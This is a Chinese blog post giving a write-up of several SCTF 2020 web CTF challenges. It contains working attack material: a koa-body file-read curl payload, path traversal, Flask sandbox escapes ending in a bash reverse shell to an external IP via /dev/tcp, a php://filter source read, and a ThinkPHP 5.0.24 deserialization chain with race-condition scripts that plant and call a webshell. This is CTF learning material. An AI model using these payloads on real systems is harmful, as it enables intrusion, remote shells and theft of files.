江鸟's Blog

sctf2020记录

字数统计: 1.6k阅读时长: 8 min
2021/03/26 Share

近期学习笔记(补)

sctf2020记录

CloudDisk

给了源码

看到是koa框架,在github的issue上有https://github.com/dlau/koa-body/issues/75

Payload:

1
2
3
4
curl -X POST \
-H "Content-Type: application/json" \
-d '{"files":{"file":{"name":"lol","path":"/etc/passwd"}}}' \
192.168.1.104:2534/uploadfile

image-20210326195631794

bestlanguage

非预期解

1
curl --path-as-is http://127.0.0.1:89/index.php/tmp/../../flag

查看了一下源码,发现了问题

整个系统的路由在routes/web.php

1
2
3
4
5
6
7
Route::get('/',"IndexController@init");
Route::post('/rm',"IndexController@rm");
Route::get('/tmp/{filename}', function ($filename) {
readfile("/var/tmp/".$filename);
})->where('filename', '(.*)');
Route::post('/upload',"IndexController@upload");
Route::get('/move/log/{filename}', 'IndexController@moveLog')->where('filename', '(.*)');

其他路由都是通过IndexController文件中的方法进行操作的

但是第三个

1
2
3
Route::get('/tmp/{filename}', function ($filename) {
readfile("/var/tmp/".$filename);
})->where('filename', '(.*)');

确实直接进行操作的,所以可以直接绕过index.php里的限制,在访问/tmp路径之后的内容,重点是后面的匿名函数,直接拼接了传入的参数并进行读取,所以只需要../../就可以穿越到根目录读flag

正常解法

版本号也会写在vendor/laravel/framework/src/Illuminate/Foundation/Application.php 里面

image-20210326201423107

Laravel 5.5.x<=5.5.40、5.6.x<=5.6.29 都会受到 CVE-2018-15133 的影响

https://xz.aliyun.com/t/6533#toc-0

poc

https://github.com/kozmic/laravel-poc-CVE-2018-15133

pythonbox

Post cmd=???直接可以rce 无回显

白名单【大小写英文字母+数字+[]^_`:;<=>?@*+,-./\】

玩了一下flask,发现默认有个路由 /static 可以访问静态文件。

1
2
3
4
5
6
7
8
9
>>> app.url_map
Map([<Rule '/' (OPTIONS, POST) -> security>,
<Rule '/static/<filename>' (OPTIONS, GET, HEAD) -> static>])
>>> app.view_functions
{'static': <bound method _PackageBoundObject.send_static_file of <Flask '__main__'>>, 'security': <function security at 0x7f59ba27f670>}
>>> app.static_url_path
'/static'
>>> app.static_folder
'/app/static'

那么直接执行 curl -X POST -d "cmd=app.static_folder=app.static_folder[:4]" http://39.104.25.107:10007/
可以将 app.static_folder 设置为 /app

然后访问 http://39.104.25.107:10007/static/flag

直接读取到 /app/flag

pythonbox2

发现可以用Flask.__doc__获取到文档然后构造任意字符

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import *

app = Flask(__name__)
doc = app.__doc__

mylist = []
code = "ng"
for char in code:
num = 0
for i in doc:
if i == char:
mylist.append("Flask.__doc__[{}]".format(num))
break
num+=1

print('%2b'.join(mylist))
1
2
3
4
5
6
7
8
9
10
11
12
13
make_response将视图函数的返回值转换为response_class的实例
会在return的时候自动对返回内容调用,这意味着可以app.make_response=eval

after_request_funcs包含每个请求后应调用的函数列表的字典,键值对于所有request均为None
app.after_request_funcs[None]=[exec]
PS:先调用make_response处理返回值,再调用after_request_funcs
view_functions所有已注册视图函数的字典。键是也用于生成url的函数名,值是函数对象本身。
可以劫持路由,配合匿名函数直接rce

# 请求结束时调用的函数列表,这些函数会被传入当前响应对象并将其修改或替换它。
self.after_request_funcs = []
__builtins__.xXXxXXx
__builtins__是一个内建函数,也就是说最后显示在页面上的xXXxXXx可以变成一个函数名 然后内容就是我们输入的内容,完成攻击

payload

1
2
3
app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx=request.headers.environ[HTTP_N]

poc

1
2
3
4
5
cmd=app.make_response=eval;app.after_request_funcs[None]=[exec];__builtins__.xXXxXXx=request.headers.environ[Flask.__doc__[1796]%2bFlask.__doc__[0]%2bFlask.__doc__[0]%2bFlask.__doc__[909]%2bFlask.__doc__[525]%2bFlask.__doc__[2892]]


header
N=__import__("os").system("bash -i >& /dev/tcp/106.15.198.173/123 0>&1")

UnsafeDefenseSystem

1
Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%

访问 /public/test 能进入到一个局子里

f12

**

任意密码可以登陆

访问http://127.0.0.1:991/public/nationalsb/

在js中找到保存的密码

http://127.0.0.1:991/public/nationalsb/js/script.js

1
2
3
4
5
6
document.querySelector('.img__btn').addEventListener('click', function() {
document.querySelector('.content').classList.toggle('s--signup')
//username:Admin1964752
//password:DsaPPPP!@#amspe****
//Secret **** is your birthday
})

写个脚本爆破一下日期,得到1221
使用该用户名和密码登录,可以看到

1
2
3
4
5
Hello Admin1964752.
You entered DsaPPPP!@#amspe1221 as your password.
Welcome Admin.
You can query the files in the system
Post $file to query

post参数file设为php://filter/convert.base64-encode/resource=/var/www/html/application/index/controller/Index.php,可以读到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;
class Index extends \think\Controller{
public function index(){
$ip = $_SERVER['REMOTE_ADDR'];
echo "Warning"."<br/>";
echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
}
public function hello(){
unserialize(base64_decode($_GET['s3cr3tk3y']));
echo(base64_decode($_GET['s3cr3tk3y']));
}
}

thinkphp报错可以得知版本号5.0.24,上网查找thinkphp 5.0.24可以找到反序列化写php文件的漏洞利用。
根据 http://39.99.41.124/public/log.txt 可得知远程环境上了文件监控脚本。

那么可以不断写php文件,通过条件竞争调用php文件。

网上公开生成payload的地方改一下:

1
'path' => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=./?<hp pfi( dm(5_$EG[Ta\']\'=)==f\'0113a600de9682e43dfc15cbeb3635\'d )vela$(G_TE\'[\'b)] ;>?',

脚本A:

1
2
3
4
5
6
7
8
9
import requests
url = 'http://39.99.41.124/public/index.php/index/index/hello'
payload = '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'
params = {'s3cr3tk3y': payload}
while True:
try:
requests.get(url, params=params, timeout=1)
except:
continue

脚本B:

1
2
3
4
5
6
7
8
9
10
11
import requests
url = 'http://39.99.41.124/public/%3F%3Chp%20pfi(%20dm(5_%24EG%5BTa\'%5D\'%3D)%3D%3Df\'0113a600de9682e43dfc15cbeb3635\'d%20)vela%24(G_TE\'%5B\'b)%5D%20%3B%3E%3F3b58a9545013e88c7186db11bb158c44.php'
params = {'a': '82sno9T1', 'b': 'system("cat /flag");'}
while True:
try:
r = requests.get(url, params=params, timeout=1)
if r.status_code != 404:
print(r.content)
break
except:
continue

运行脚本A。然后运行脚本B(可能需要多运行几次)来得到结果。
SCTF{tp5.0.24_4nd_pyth0n_is_fun}

CATALOG
  1. 1. sctf2020记录
    1. 1.1. CloudDisk
    2. 1.2. bestlanguage
      1. 1.2.1. 非预期解
      2. 1.2.2. 正常解法
    3. 1.3. pythonbox
    4. 1.4. pythonbox2
    5. 1.5. UnsafeDefenseSystem